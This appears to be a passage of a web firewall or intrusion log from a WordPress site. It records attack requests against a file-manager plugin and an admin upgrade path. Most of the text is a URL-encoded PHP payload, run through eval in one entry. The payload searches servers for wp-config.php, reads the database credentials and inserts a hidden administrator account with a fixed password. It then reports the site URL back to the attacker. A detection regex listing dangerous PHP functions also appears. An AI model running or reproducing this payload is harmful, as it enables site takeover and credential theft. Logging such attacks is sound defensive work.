24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:12640\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\n\njh=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 17:34:03","213.209.159.254","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3En